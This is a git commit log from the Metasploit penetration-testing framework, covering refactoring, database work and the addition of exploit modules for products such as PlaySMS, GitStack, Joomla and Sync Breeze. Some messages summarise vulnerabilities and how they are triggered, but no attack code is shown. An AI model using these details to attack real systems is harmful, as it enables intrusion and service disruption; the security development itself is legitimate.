Update tested versions
2018-03-24 00:19:30 +00:00
Matthew Kienow
eb1fc949d1
Land #9747 , make notes -o status similar to hosts
2018-03-23 17:54:33 -04:00
Adam Cammack
c28fe65d98
Exclude Ruby external modules from rspec
...
The sum of the testing code and loading code assumptions was that all
files with the same extension in the same folder were all loadable with
the same loader. This is no longer the case, and until we are ready to
test the load-ability of external modules we can safely ignore them.
2018-03-23 16:44:58 -05:00
Jon Hart
d0ef5617fa
Merge master and resolve conflict
2018-03-23 14:25:21 -07:00
b0yd
7e0c255591
Formatted reg binary type to hex when displaying query results.
2018-03-23 15:56:12 -04:00
Adam Cammack
5ece14b064
Convert SMBLoris to an external module
2018-03-23 14:55:18 -05:00
Adam Cammack
71149e9c68
Remove executable Ruby files from classic loading
2018-03-23 14:49:06 -05:00
Adam Cammack
133f982f7c
Add external module bridge for Ruby
...
This runs Ruby external modules with the same Ruby that is running MSF,
so it might even work on Windows!
2018-03-23 14:46:40 -05:00
Brent Cook
778906d836
Land #9717 , add new remote data service
2018-03-23 13:55:12 -05:00
Brendan Coles
741c526555
Kill correct instance of ifwatchd
2018-03-23 17:53:30 +00:00
James Barnett
def0e4d93b
Merge branch 'goliath' into MS-3062_workspaces
2018-03-23 11:37:01 -05:00
James Barnett
6b3a4a56dc
Merge branch 'rapid7/master' into goliath
2018-03-23 11:26:31 -05:00
Matthew Kienow
eb47962050
Land #19 , externalize db_export command
2018-03-23 10:58:21 -04:00
Touhid M Shaikh
230c0a295f
Delete playsms_uploadcsv_exec.rb
2018-03-23 12:29:07 +05:30
Touhid M Shaikh
b18912447f
playsms_uploadcsv_exec.rb
...
import.php (aka the Phonebook import feature) in PlaySMS 1.4 allows remote code execution via vectors involving the User-Agent HTTP header
2018-03-23 12:24:04 +05:30
James Barnett
ed5b22a541
Address more code review comments
2018-03-22 21:47:59 -05:00
James Barnett
6c5a7a663a
Merge branch 'goliath' into MS-2879_db_export
2018-03-22 21:22:23 -05:00
James Barnett
466c97f114
WIP: move tracking active workspace to client side
...
* Move the @current_workspace tracking to workspace proxy
* Create helper for handling workspace value in opts
* Call framework.db.proxy across dbmanager files now that active ws is tracked in proxy
NOTE: This commit throws an exception when adding a remote data service.
2018-03-22 21:00:06 -05:00
Jon Hart
a1287a0776
Remove blank before services output
2018-03-22 18:26:50 -07:00
Jon Hart
2ce8423883
Make vulns and notes with -o similar to services and hosts
...
Now all of them will simply save the requested information to an output
file if specified and will let you know where the file is when done.
Previously, notes and vulns would also print out all of the notes and
vulns, which just felt weird and inconsistent. So, I fixed it.
2018-03-22 18:18:12 -07:00
Jeffrey Martin
b9fc786d24
Land #9744 , Add synchronization around public module metadata cache methods
2018-03-22 17:24:39 -05:00
Christopher Lee
f5b1d27345
Merge pull request #20 from clee-r7/MS-2910-remote-vuln-read-update-delete
...
MS-2910: Remote Vuln Read Update Delete
2018-03-22 15:41:07 -05:00
William Vu
09cb4a52df
Update smb_ms17_010 scanner with PipeAuditor mixin
2018-03-22 15:37:45 -05:00
William Vu
e4c026fffd
Update pipe_auditor module with PipeAuditor mixin
2018-03-22 15:37:45 -05:00
William Vu
23a7444646
Add PipeAuditor mixin to Psexec_MS17_010 mixin
2018-03-22 15:37:44 -05:00
William Vu
558ecbcb49
Add PipeAuditor mixin
2018-03-22 15:37:36 -05:00
Brendan Coles
05c5d116c5
Add documentation
2018-03-22 20:23:32 +00:00
Brendan Coles
bc53413fb5
Add ifwatchd Privilege Escalation exploit module
2018-03-22 20:09:03 +00:00
Metasploit
880f8eee9d
Weekly dependency update
2018-03-22 10:07:18 -07:00
Daniel Teixeira
d192173792
Vulnerable application link update
2018-03-22 11:57:54 +00:00
Brendan Coles
6885f16e38
Add documentation
2018-03-22 06:27:13 +00:00
Brendan Coles
9d28549e84
Update qnx_qconn_exec
2018-03-22 06:25:44 +00:00
James Barnett
93d4f5cd0b
Last few review comments
2018-03-21 17:50:11 -05:00
James Barnett
eee24366c9
Address code review comments and bug
2018-03-21 17:42:54 -05:00
Christian Mehlmauer
7d873ea7ab
replace factory_girls with factory_bot fixes #9736
2018-03-21 23:21:37 +01:00
James Barnett
f6fddb3113
Fix indent
2018-03-21 17:16:44 -05:00
Matthew Kienow
8d660084fc
Omit parentheses for no argument get_db calls
2018-03-21 18:03:27 -04:00
Matthew Kienow
975948439d
Make vulns cmd option string literals consistent
2018-03-21 16:35:06 -04:00
Matthew Kienow
09bea3ec39
Remove vulns cmd help short-circuit
2018-03-21 16:34:11 -04:00
Adam Cammack
bb8fd45cb2
Land #9739 , Add Python logging module support
2018-03-21 14:48:49 -05:00
Adam Cammack
68083921c2
Land #9737 , Add batch_size to external batch scanners
2018-03-21 14:27:37 -05:00
christopher lee
70c9a434e6
Add synchronization around public module metadata cache methods
2018-03-21 14:23:34 -05:00
Spencer McIntyre
3aa37eb266
Add a log handler for external python modules
2018-03-21 10:14:49 -04:00
Jacob Robles
8d0e3ada74
Change option names and module type
2018-03-21 06:49:50 -05:00
Jacob Robles
da87727ae5
Remove external module license from LICENSE file
...
External modules can now specify license.
2018-03-21 06:26:25 -05:00
Jacob Robles
fc9005df8a
Add External License Support
2018-03-21 06:26:25 -05:00
Jacob Robles
6ea349d005
Add LICENSE for get_user_spns module
2018-03-21 06:26:25 -05:00
Jacob Robles
8d12118d1f
Add get_user_spns external module and documentation
2018-03-21 06:26:15 -05:00
Touhid M Shaikh
a506efe0b6
playsms_uploadcsv_exec.rb
...
PlaySMS 1.4 Remote Code Execution using Phonebook import Function in import.php
2018-03-21 14:13:52 +05:30
Matthew Kienow
553789557b
Merge branch 'goliath' into MS-2910-remote-vuln-read-update-delete
2018-03-21 01:45:58 -04:00
Jacob Robles
86266dc636
Add batch_size option for external multi_scanner
2018-03-20 14:47:46 -05:00
Matthew Kienow
ced6707ba6
Fix cmd vulns and DBManager Session spec
2018-03-20 15:25:09 -04:00
Aaron Soto
7e5214fef5
Improved CTRL-C edge case, Invalid Options edge case, help output, version output
2018-03-20 13:34:15 -05:00
Metasploit
b8b0ed4353
automatic module_metadata_base.pstore update
2018-03-20 10:52:58 -07:00
Metasploit
df0ca72a2a
automatic module_metadata_base.pstore update
2018-03-20 10:50:06 -07:00
Metasploit
879b516807
automatic module_metadata_base.pstore update
2018-03-20 10:47:17 -07:00
Metasploit
d53a4b9f0f
automatic module_metadata_base.pstore update
2018-03-20 10:44:24 -07:00
Metasploit
71f3663fc0
automatic module_metadata_base.pstore update
2018-03-20 10:41:28 -07:00
Metasploit
cb987c95f0
automatic module_metadata_base.pstore update
2018-03-20 10:38:34 -07:00
Metasploit
56e45387e2
automatic module_metadata_base.pstore update
2018-03-20 10:35:36 -07:00
Metasploit
5817bd2e6b
automatic module_metadata_base.pstore update
2018-03-20 10:32:44 -07:00
Metasploit
de756dc533
automatic module_metadata_base.pstore update
2018-03-20 10:29:56 -07:00
Metasploit
7c2ad7f318
automatic module_metadata_base.pstore update
2018-03-20 10:27:04 -07:00
Metasploit
ec9de02778
automatic module_metadata_base.pstore update
2018-03-20 10:24:12 -07:00
Brent Cook
cea04eae3a
Land #9733 , rename external templates
2018-03-20 12:20:10 -05:00
Jacob Robles
ca7caae622
Change External Module Type Names
...
Change the a couple of external module type names
to be consistent with the template files.
2018-03-20 10:19:57 -05:00
g0tmi1k
973d00aca0
Add a message about DisablePayloadHandler
...
Based on https://github.com/rapid7/metasploit-framework/blob/26bf96b3ce1e97bfb997432ba532e9823f885750/lib/msf/core/exploit/exe.rb#L43
2018-03-20 13:04:41 +00:00
g0tmi1k
a0cbb898a3
Fix up makeiplist.rb, so empty arguments doesn't error out
2018-03-20 12:51:15 +00:00
g0tmi1k
8463ed99b0
Add standardised header comments
2018-03-20 11:33:34 +00:00
Summus6
b865d4fee2
Fix CachedSize for windows/x64/reverse_(win)http(s) payloads
2018-03-20 11:27:43 +01:00
Summus6
587215affc
Remove unwanted 'pop RAX' from windows/x64/reverse_(win)http
2018-03-20 11:01:10 +01:00
Brendan Coles
ac9f506b45
Update tested versions
2018-03-20 02:49:56 +00:00
Mehmet İnce
53eabfc1df
Update documentation and add check before exploit
2018-03-19 23:27:18 +03:00
James Barnett
90bebc2096
Convert workspace update to new api
2018-03-19 14:24:16 -05:00
Matthew Kienow
cd7ecc4b74
Display vulns information column based on option
2018-03-19 14:29:38 -04:00
James Barnett
929fb041ab
Fix bug when adding workspace remotely
2018-03-19 11:01:22 -05:00
Touhid M Shaikh
f012916742
Delete playsms_uploadcsv_exec.rb
2018-03-18 13:57:53 +05:30
Touhid M Shaikh
0817e6b15f
Delete playsms_uploadcsv_exec.md
2018-03-18 13:57:04 +05:30
Touhid M Shaikh
0e0fcdf727
PlaySMS 1.4 RCE
...
PlaySMS 1.4 Remote Code Execution using Phonebook import Function in import.php
2018-03-18 13:46:30 +05:30
Jeffrey Martin
26bf96b3ce
Land #9723 , Require dependencies conditionally in msfvenom
2018-03-17 16:20:56 -05:00
Jeffrey Martin
4801021aba
Land #9613 , add bind_named_pipe x86
2018-03-17 15:53:06 -05:00
William Vu
9a7f4925a2
Add init_framework for Rex::Socket.source_address
2018-03-17 02:35:57 -05:00
William Vu
264c54fd51
Refactor init_framework to resolve Msf constants
2018-03-17 02:30:59 -05:00
William Vu
65cf007356
Add assumed require
2018-03-17 01:30:54 -05:00
William Vu
9d7ce73942
Remove unused errors
2018-03-17 01:28:31 -05:00
William Vu
ba71c1f89f
Remove extraneously rescued error
...
Option validation doesn't even happen there...
2018-03-17 01:24:54 -05:00
William Vu
13555cb09b
Require dependencies conditionally in msfvenom
...
This avoids the long wait time while showing help for msfvenom.
2018-03-17 01:04:57 -05:00
James Barnett
45a6b244a7
Fix services spec
2018-03-16 17:10:02 -05:00
Matthew Kienow
fc83220aa7
Fix report_vuln duplicate VulnRef record creation
...
Multiple calls to report_vuln for the same vuln results in the creation
of duplicate VulnRef records, except for the CVE refs
2018-03-16 17:53:07 -04:00
Brent Cook
44d5022380
Land #9529 , Add module for HP iLO CVE-2017-12542 authentication bypass
2018-03-16 16:50:54 -05:00
Matthew Kienow
f365e6fc28
Remove stderr debug output
2018-03-16 17:50:49 -04:00
Brent Cook
d1722d507b
handle reset from the target on exploit
2018-03-16 16:46:50 -05:00
James Barnett
35bc8e905e
Refactor workspace delete to be consistent with other commands
2018-03-16 16:11:09 -05:00
Brent Cook
65ae1e33e1
Land #9694 , move ssh platforms to lib
2018-03-16 12:49:57 -05:00
Metasploit
3fa28f957d
automatic module_metadata_base.pstore update
2018-03-16 10:03:02 -07:00
James Barnett
8ddaae5fe4
Remove unused code
2018-03-15 12:12:12 -05:00
Metasploit
d66f409542
Weekly dependency update
2018-03-15 10:08:23 -07:00
christopher lee
4d04319d2a
Merged master
2018-03-15 11:31:44 -05:00
Jacob Robles
1b2f1ced02
Land #8422 , Typo3 News Module Sql Injection exploit
2018-03-15 10:55:04 -05:00
Jacob Robles
ba0d990273
Documentation added and Error Checks
2018-03-15 10:46:08 -05:00
Ege Balcı
177eca30e8
Usage instructions adjusted.
2018-03-15 12:39:22 +03:00
h00die
c5f79a4818
Land #9713 update to juniper config docs
2018-03-14 21:14:45 -04:00
h00die
d736a6d2ec
updated juniper docs
2018-03-14 21:02:22 -04:00
Matthew Kienow
334da2477c
Get first Vuln record
2018-03-14 18:49:49 -04:00
James Barnett
730eea800c
Merge branch 'MS-2879_db_export' of github.com:clee-r7/metasploit-framework into MS-2879_db_export
2018-03-14 16:47:07 -05:00
James Barnett
100a64ae6c
Fix bug when saving to path that doesnt exist
2018-03-14 16:43:04 -05:00
James Barnett
0d170571da
Fix bug with file name
2018-03-14 15:59:07 -05:00
James Barnett
b179603b4a
Externalize db_export command
2018-03-14 15:06:28 -05:00
Brent Cook
3a2025a12c
Land #9710 , update test with proper CPE
2018-03-14 14:19:33 -05:00
Brent Cook
b9da48fa76
Land #9705 , update rubocop rules
2018-03-14 14:17:37 -05:00
Brent Cook
588993f20e
remove no-op
2018-03-14 14:16:47 -05:00
James Barnett
ac5669388a
Merge branch 'goliath' into MS-2879_db_export
2018-03-14 11:37:08 -05:00
Jacob Robles
9e23997c3d
Added Error Handling
2018-03-14 08:16:17 -05:00
Jacob Robles
1d51cf6d24
Implement Suggested Changes
2018-03-14 06:15:49 -05:00
Mehmet İnce
b55a750fa9
Fix typo and couple tiny nitpicks
2018-03-14 11:51:21 +03:00
Mehmet İnce
6811097bed
Create reload_file method for edit and reload_lib cms
2018-03-14 11:47:23 +03:00
UserExistsError
948b07166a
pipe error checks
2018-03-14 00:09:20 -06:00
Jeffrey Martin
cacb9af731
update test for CPE abstraction
2018-03-13 16:13:04 -05:00
Matthew Kienow
e67457c844
Land #17 , externalize services data
2018-03-13 16:20:55 -04:00
Matthew Kienow
e4cc2a565a
Correct services cmd help message for protocol
2018-03-13 16:09:35 -04:00
Mehmet İnce
9b84477ddc
Changing cmd name to reload_lib
2018-03-13 22:17:59 +03:00
James Barnett
9099ef0bf1
Enable exec_report_job to handle includes
2018-03-13 11:34:44 -05:00
Jacob Robles
64a51c1bd7
Save Credentials and IP
2018-03-13 08:47:08 -05:00
Mehmet İnce
b7f95b9cbe
Add a loadlib command
2018-03-13 14:03:44 +03:00
Can
129ae21a5a
documentation added
2018-03-13 10:24:39 +01:00
Mehmet İnce
889c914b3d
Updating documentation and minor code changes
2018-03-13 12:05:27 +03:00
Touhid M Shaikh
ea3378753b
syntax error fixed on 70 line
...
improve check payload was uploaded or not condition using AND condition on line 121
2018-03-13 14:15:03 +05:30
Can
28d890147b
msftidy update and style changes
2018-03-13 09:30:48 +01:00
Can
1c7f1c79af
Updated style
2018-03-13 09:26:34 +01:00
Tim W
ee71350d5d
Land #9706 , bump metasploit payloads to fix #9497
2018-03-13 15:33:25 +08:00
Tim W
39e2cddf70
update python payload cached size
2018-03-13 15:30:54 +08:00
Tim W
a978a5edba
fix #9497 , bump metasploit payloads
2018-03-13 15:12:53 +08:00
Mehmet İnce
3b9274e9e3
Updating rubocop rules
2018-03-13 09:46:52 +03:00
Mehmet İnce
ec10a82c56
Make the rubocop happy
2018-03-13 09:44:13 +03:00
h00die
97dbc1273a
copy pasta
2018-03-12 20:14:08 -04:00
Mehmet İnce
2fd9b0b77b
Fixing rubocop errors
2018-03-13 01:40:01 +03:00
James Barnett
e480b7dd2c
Only do regex search if search_term is passed
2018-03-12 17:14:44 -05:00
Brent Cook
a9f340a7a7
remove run_range, nothing in MSF uses it (we don't care about Pro here)
2018-03-12 17:07:48 -05:00
James Barnett
2e287135c4
Fix bug in services search
2018-03-12 16:37:16 -05:00
Brent Cook
1587b5b682
Land #9686 , add ipv6 to slowloris, rhost to non-scanner modules
2018-03-12 16:13:21 -05:00
bwatters-r7
0d51ba8021
Remove unneeded setup/cleanup functions to prevent
...
foot-shooting scanner modules
2018-03-12 15:46:04 -05:00
Brent Cook
3f3ed4aa70
change replicant to clone module objects to copy singleton methods
...
Without this, we are missing methods like exploit_simple.
https://coderwall.com/p/1zflyg/ruby-the-differences-between-dup-clone
2018-03-12 15:46:03 -05:00
Brent Cook
db6377134e
restore original module RHOST on abort
2018-03-12 15:46:03 -05:00
Brent Cook
3f9b124752
update spec
2018-03-12 15:46:03 -05:00
Brent Cook
5d9f2266da
handle passive exploits without RHOST
2018-03-12 15:46:03 -05:00
Brent Cook
4f824af696
add support for '-J' which is the opposite of '-j'
2018-03-12 15:46:03 -05:00
Brent Cook
17c8f7c4c7
support iterating across RHOSTS for exploits
2018-03-12 15:46:03 -05:00
Brent Cook
4ab36bc713
factor out exploit runner from command parsing
2018-03-12 15:46:02 -05:00
Brent Cook
b456cd2c8c
use RHOSTS in many places where we used RHOST
2018-03-12 15:46:02 -05:00
Auxilus
b22c606b9a
msftidy fixes
2018-03-13 01:39:47 +05:30
Auxilus
9a9e9ead51
msftidy fixes
2018-03-13 01:34:26 +05:30
Auxilus
131ad69083
return array from connect_to_pipe
2018-03-13 01:32:17 +05:30
Auxilus
ef515d256d
msftidy fixes
2018-03-13 00:34:25 +05:30
Auxilus
2c52498d4a
Update smb_ms17_010.rb
2018-03-13 00:28:37 +05:30
Auxilus
6e9a4916f5
scanner update
2018-03-13 00:23:18 +05:30
Matthew Kienow
fcd2bbd1de
workaround attempt to parse nil JSON string value
2018-03-12 14:29:42 -04:00
Matthew Kienow
636284d530
Update session inferred vuln handling
...
Add remote vuln attempt
2018-03-12 14:26:03 -04:00
Ege Balcı
2950c84660
Better code.
...
Added check function.
Smaller & cleaner code.
2018-03-12 20:33:46 +03:00
Ege Balcı
b7b09c5010
Documentation added.
2018-03-12 20:30:15 +03:00
James Barnett
65f5eeb534
Strip :workspace from service update
2018-03-12 12:28:39 -05:00
Touhid M Shaikh
5e30982184
check fucktion and some words fixed
...
all changes done which is bcoles suggested
2018-03-12 21:03:34 +05:30
Brent Cook
d86dcbc237
Land #9632 , owa_login and auth_brute enhancements
2018-03-12 10:31:20 -05:00
Mzack9999
5ee50c5fab
Username and password reported as credentials
2018-03-12 07:01:03 -05:00
Mzack9999
3d6af4c7ee
Removed mail from author section
2018-03-12 07:01:03 -05:00
Mzack9999
b0ed8c4702
code cleanup
2018-03-12 07:01:03 -05:00
Mzack9999
7b781d53c9
Small code refactoring, added verbose output
2018-03-12 07:01:03 -05:00
Mzack9999
fe89e2d391
Corrected check method, warning in case of absence of news and TARGETURI parameter
2018-03-12 07:01:03 -05:00
Mzack9999
f09d9a8994
Solved msftidy.rb issues
2018-03-12 07:01:02 -05:00
Mzack9999
dbba27cc97
Fixed minor issues and added automatic detection of Patten1/Pattern2
2018-03-12 07:01:02 -05:00
Mzack9999
63444a2c43
Corrected wrong label in password hash message
2018-03-12 07:01:02 -05:00
Mzack9999
4a40f40c14
Typo3 News Module Sql Injection exploit
2018-03-12 07:00:45 -05:00
Touhid M Shaikh
9b0ba4a6fa
clipbucket_fileupload_exec
2018-03-12 14:17:13 +05:30
Ege Balcı
420905137b
CVA added.
2018-03-12 08:42:28 +03:00
Ege Balcı
d71b6bdf0d
Update syncbreeze_enterprise_dos.rb
...
msftidy.rb adjustment.
2018-03-11 23:27:46 +03:00
Ege Balcı
0e4e260a02
Adding Sync Breeze Enterprise 10.6.24 DOS
...
This module triggers a Denial of Service vulnerability in the Sync Breeze Enterprise HTTP server. Vulnerable version of the product can be downloaded here (http://www.syncbreeze.com/setups/syncbreezeent_setup_v10.6.24.exe ). After installing the software web server should be enabled via Options->Server->Enable web server on port. Module triggers a user space write access violation on syncbrs.exe memory region. Number of requests that will crash the server changes between 200-1000 depending on the OS version and system memory.
2018-03-11 23:07:50 +03:00
Luis Hernandez
dddad415a5
add Msf::Exploit::Remote::HTTP::Joomla
2018-03-11 07:59:26 -05:00
Jacob Robles
b9e0b628ef
varnish anonymous file read
2018-03-09 11:30:22 -06:00
Jacob Robles
615f6b02af
varnish no auth file read
2018-03-09 11:25:13 -06:00
Jacob Robles
1fd0087a97
Land #7654 , varnish file read
2018-03-09 10:59:04 -06:00
Jacob Robles
a458cb9ebc
varnish file read msftidy fixes
2018-03-09 10:56:52 -06:00
Auxilus
80c7e9442b
output formatting
2018-03-09 22:16:26 +05:30
Auxilus
8b3e5c745b
fix pipeaudit.rb
2018-03-09 22:14:16 +05:30
Jacob Robles
037559023a
Update connect/disconnect varnish
...
[ticket: #7654 ]
2018-03-09 10:37:14 -06:00
Auxilus
2b7364a637
Add wordlist
2018-03-09 21:46:07 +05:30
Auxilus
1342284dc9
Add wordlist
2018-03-09 21:38:59 +05:30
Luis Hernandez
37bf4d118a
Changes suggested by h00die 0803
2018-03-09 09:55:50 -05:00
Jacob Robles
ea78e21961
Documentation accuracy
2018-03-09 07:43:12 -06:00
Jacob Robles
2735ae57cb
Documentation accuracy
2018-03-09 07:31:55 -06:00
Auxilus
9df99e8ce3
Update smb_ms17_010.rb
2018-03-09 16:10:20 +05:30
Auxilus
56fe70d84b
Update smb_ms17_010.rb
2018-03-09 16:07:09 +05:30
Mehmet İnce
4b483e079b
Adding assigned CVE number
2018-03-09 12:25:19 +03:00
Auxilus
7855c416c9
push latest changes
2018-03-09 14:52:53 +05:30
Auxilus
28f5920c9d
update module
2018-03-09 14:45:56 +05:30
Auxilus
5bdc0b4ecd
update mixins.rb
2018-03-09 14:18:10 +05:30
Auxilus
0e84026334
fix module path
2018-03-09 14:08:09 +05:30
Auxilus
899e03ba9b
Move pipeaudit to exploit/smb/client
2018-03-09 14:05:53 +05:30
h00die
ec7a62bc4c
move ssh platforms to lib
2018-03-08 21:23:11 -05:00
Luis Hernandez
048d0d1fe4
Changes suggested by h00die
2018-03-08 20:13:01 -05:00
Alex Gonzalez
db69f6fcf3
fixed EOL spaces
...
fixed EOL spaces
2018-03-08 17:17:43 -05:00
Alex Gonzalez
7300634948
Fixed exception handling in jira_plugin_upload.rb
...
Corrected nil response handling in get_ functions as well as removed redundant payload type check
2018-03-08 17:06:24 -05:00
Auxilus
478f01d0d9
fix format
2018-03-09 02:25:58 +05:30
Auxilus
cc9fbc93ed
fix format
2018-03-09 02:19:18 +05:30
Can
72160598a7
msftidy fix
...
msftidy fix
2018-03-08 20:46:30 +01:00
Can
26f023e071
updates for passing msftidy
...
updates for passing msftidy
2018-03-08 20:34:49 +01:00
Can
c1dc603f0d
fixed EOLs, updated license comment
...
fixed EOLs, updated license comment
2018-03-08 19:53:18 +01:00
Metasploit
1be34848d5
Weekly dependency update
2018-03-08 10:08:28 -08:00
Auxilus
a00ab2040f
include mixin to psexec_ms17_010
2018-03-08 23:04:21 +05:30
Auxilus
e6a9f2609f
include mixin to psexec_ms17_010
2018-03-08 23:01:58 +05:30
Can
9c4ff479cf
module title changed
2018-03-08 15:23:02 +01:00
Jacob Robles
178fa16953
Grammar fix
2018-03-08 07:42:29 -06:00
Jacob Robles
24079c345d
Style guide and grammar fixes
2018-03-08 07:30:02 -06:00
Can
0503a8d3e1
init siemens_siprotec4
...
init siemens_siprotec4
2018-03-08 14:09:53 +01:00
Jeffrey Martin
b9ad1f2872
Land #9687 , bump payloads, fix PHP meterpreter message parsing
2018-03-07 18:48:56 -06:00
Jeffrey Martin
26481d503e
one more payload size adjustment
2018-03-07 18:48:10 -06:00
Brent Cook
b977b1c951
bump payload sizes
2018-03-07 17:41:58 -06:00
Brent Cook
e8e6d01581
bump payloads, fix PHP meterpreter message parsing
2018-03-07 17:28:49 -06:00
Adam Cammack
780c8f0506
Fix non-scanner external modules
2018-03-07 17:11:56 -06:00
Adam Cammack
9a8f1ace2d
Add slowloris support for IPv6 and hostnames
...
Replace manual socket creation with `socket.create_connection` to get
auto-detection goodness.
2018-03-07 17:06:04 -06:00
James Barnett
b18ed03407
Merge branch 'goliath' into MS-2909
2018-03-07 14:55:50 -06:00
Mehmet İnce
611b208267
Adding ManageEngine Application Manager RCE
2018-03-07 23:54:01 +03:00
Jacob Robles
5a2f197c47
Remove redundant RPORT
2018-03-07 14:41:51 -06:00
Jacob Robles
9ce6c2ae32
Remove redundant RPORT
2018-03-07 14:31:58 -06:00
James Barnett
c670748fe3
Update services signature
2018-03-07 13:59:09 -06:00
James Barnett
c52daf43bf
Forcefully delete service as fallback
2018-03-07 12:07:47 -06:00
Jeffrey Martin
21cc4b52c2
match master Gemfile.lock to resolve conflict
2018-03-07 10:53:07 -06:00
Kirk Swidowski
fb04fef3a5
added documentation.
2018-03-07 08:34:49 -08:00
Kirk Swidowski
81596b627d
added documentation.
2018-03-07 08:31:25 -08:00
Kirk Swidowski
34f2385b8b
Merge branch 'master' of https://github.com/de7ec7ed/metasploit-framework
2018-03-07 08:20:37 -08:00
Kirk Swidowski
d7cfe41983
removed files.
2018-03-07 08:20:22 -08:00
Jacob Robles
15269ec3ce
Land #9678 , Add memcached UDP version scanner
2018-03-07 10:14:29 -06:00
Jacob Robles
86dd382e6a
Land #9554 , Eclipse Equinoxe OSGi console RCE
2018-03-07 08:41:31 -06:00
Fab
e8a227b1a6
Changes as requested by jhart-r7:
...
- Default Username / Password are now random
- Doc fixed
- REST typo fixed
2018-03-07 10:48:05 +01:00
Jon Hart
a69c2e29d2
Correct comment
2018-03-06 18:16:22 -08:00
Jon Hart
1e04fa009f
Fix style
2018-03-06 18:13:50 -08:00
Jon Hart
7733662767
Add docs for memcached_udp_version
2018-03-06 18:12:40 -08:00
Jon Hart
74ec9f00e7
Add WIP memcached UDP version scanner
2018-03-06 17:54:00 -08:00
Luis Hernandez
05a653b853
Add module documentation
2018-03-06 20:37:11 -05:00
Jon Hart
0cc31eb7d4
Land #9676 , correcting CVE and adding disclosure date for memcached
...
amplification
2018-03-06 16:18:34 -08:00
Jon Hart
e72372d6d8
Add disclosure date and correct CVE for memcached amp
2018-03-06 16:04:00 -08:00
James Barnett
c058d0fba0
WIP: port db_export command
2018-03-06 15:15:27 -06:00
bwatters-r7
ccbc7fcefe
Land #9606 , Add some tests for cmd_exec
...
Merge branch 'for-the-windows' into upstream-master
2018-03-06 15:13:07 -06:00
bwatters-r7
43bc159022
Fix if/end
2018-03-06 15:01:15 -06:00
bwatters-r7
4694ef6723
Make Rubocop less angy
2018-03-06 14:54:00 -06:00
Christopher Lee
a872c13d9f
Merge pull request #18 from clee-r7/goliath_cleanup
...
Goliath Cleanup in preparation for merge to master
2018-03-06 13:34:31 -06:00
christopher lee
8740eeb9d7
Replace space
2018-03-06 13:33:29 -06:00
Christian Mehlmauer
348a3496e3
Land #9672 , fix docker build
2018-03-06 19:12:57 +01:00
Brent Cook
d6871f5733
Land #9614 , Juniper post enum module
2018-03-06 10:29:56 -06:00
christopher lee
68d72cbfa7
Goliath Cleanup in preparation for merge to master
2018-03-06 10:21:22 -06:00
bwatters-r7
b13a54ba2b
clean up some code and skip non-windows tests
2018-03-06 10:10:53 -06:00
dcylabs
36eb8cee66
Fix docker build
2018-03-06 14:16:39 +01:00
Jacob Robles
f6ebce2440
Update User List
2018-03-06 06:38:06 -06:00
bwatters-r7
6c177b7c3b
Add windows checks
2018-03-06 12:14:33 +07:00
Jacob Robles
5fde6bf5d3
Update Code
2018-03-05 22:39:16 -06:00
Jacob Robles
4ace73a3f9
Added references, fixed code
2018-03-05 22:00:28 -06:00
bwatters-r7
e878e19bbd
Land #9665 , Add missing reverse_tcp_rc4 payload tests.
...
Merge branch 'land-9665' into upstream-master
2018-03-05 17:18:04 -06:00
William Vu
254833d5a1
Land #9671 , missed code from TelnetEnable refactor
2018-03-05 15:00:02 -06:00
William Vu
176fb13c84
Fix #9650 , missed code from TelnetEnable refactor
...
1. Functionality was added incrementally, and I missed an opportunity to
consolidate a few methods under @do_exploit.
2. The Capture mixin can raise RuntimeError for a number of different
reasons, not just a lack of root privileges.
tl;dr Fix my incompetence and laziness. :-)
I don't think EDB and friends usually get these updates. :(
2018-03-05 14:46:27 -06:00
Jacob Robles
99799f1e98
Update doc
2018-03-05 13:40:37 -06:00
Jacob Robles
57118e1265
msftidy fix
2018-03-05 13:37:32 -06:00
Jacob Robles
a4f48eb80f
Add GitStack v2.3.10 RCE
2018-03-05 13:25:41 -06:00
Jon Hart
3028dccd7a
Land #9644 , @xistence's memcached stats amplification scanner
2018-03-05 09:02:28 -08:00
Brent Cook
ad6ceb0a7e
Land #9669 , fix SSL cert generation in provider
2018-03-05 10:26:58 -06:00
dcylabs
708f1da0ed
fix SSL certificate provider
2018-03-05 17:01:37 +01:00
Luis Hernandez
d945734f43
Add 2017-8917 RCE for Joomla 3.0.7
2018-03-04 22:17:49 -05:00
xistence
86677b8a8d
Merge pull request #2 from jhart-r7/pr/fixup-9644
...
Simplify memcached amplification scanner to use UDPScanner for most of the work
2018-03-05 08:44:38 +07:00
Jeffrey Martin
eac7cc63fc
add missing payload tests
2018-03-04 17:54:52 -06:00
Jon Hart
f2de2a7f21
Appease most of rubocop's concerns
2018-03-04 07:17:25 -08:00
Jon Hart
2edb2dd8d0
Add CVE; clarify vuln name
2018-03-04 07:13:28 -08:00
h00die
ea62497385
Land #9658 spelling and grammar fixes
2018-03-04 06:24:59 -05:00
Biswajit Roy
3925686173
Fixed error in my correction
...
Changed from `an username` to `a username`
2018-03-03 10:16:44 +05:30
h00die
818c28b901
Land #9650 netgear telnetenable exploit
2018-03-02 21:01:35 -05:00
h00die
d454267ea5
update docs
2018-03-02 21:00:41 -05:00
William Vu
dd2e15f959
Update doc a final time to appease the @h00die god
2018-03-02 19:40:11 -06:00
h00die
c440d6f613
Land #9661 fix for heart logo
2018-03-02 20:25:10 -05:00
William Vu
6dbf9445c9
Add MAC address discovery
2018-03-02 19:18:30 -06:00
William Vu
107512498c
Add check method
2018-03-02 19:16:37 -06:00
William Vu
25f36fb926
Refactor code into new methods
2018-03-02 19:16:37 -06:00
William Vu
c343c926cf
Add N300 version to module doc
2018-03-02 19:15:20 -06:00
William Vu
109bc87ffb
Check for nil, EOFError, and zero-length response
2018-03-02 19:15:20 -06:00
William Vu
0c0f00941b
Add note about directly connecting to telnetd
2018-03-02 19:15:20 -06:00
William Vu
b6d563e2a3
Update doc regarding vprint
2018-03-02 19:15:19 -06:00
William Vu
bcdfebf93c
Add a vprint for creds we chose
2018-03-02 19:15:19 -06:00
William Vu
4418a0de02
Enhance detection of telnetenabled vs. telnetd
2018-03-02 19:15:19 -06:00
William Vu
4b29df7ab3
Update doc for automatic targeting
2018-03-02 19:15:19 -06:00
William Vu
fba30d47a2
Use default creds specific to protocol
2018-03-02 19:15:18 -06:00
William Vu
1f40afea9c
Add automatic target for detection of TCP or UDP
2018-03-02 19:15:18 -06:00
William Vu
86cd52ae4b
Update doc with real info
2018-03-02 19:15:18 -06:00
h00die
7505e0e831
updated docs
2018-03-02 19:15:18 -06:00
h00die
031b44baea
updated docs
2018-03-02 19:15:17 -06:00
William Vu
a9caec5130
Add module doc
2018-03-02 19:15:17 -06:00
William Vu
a5e5b618fd
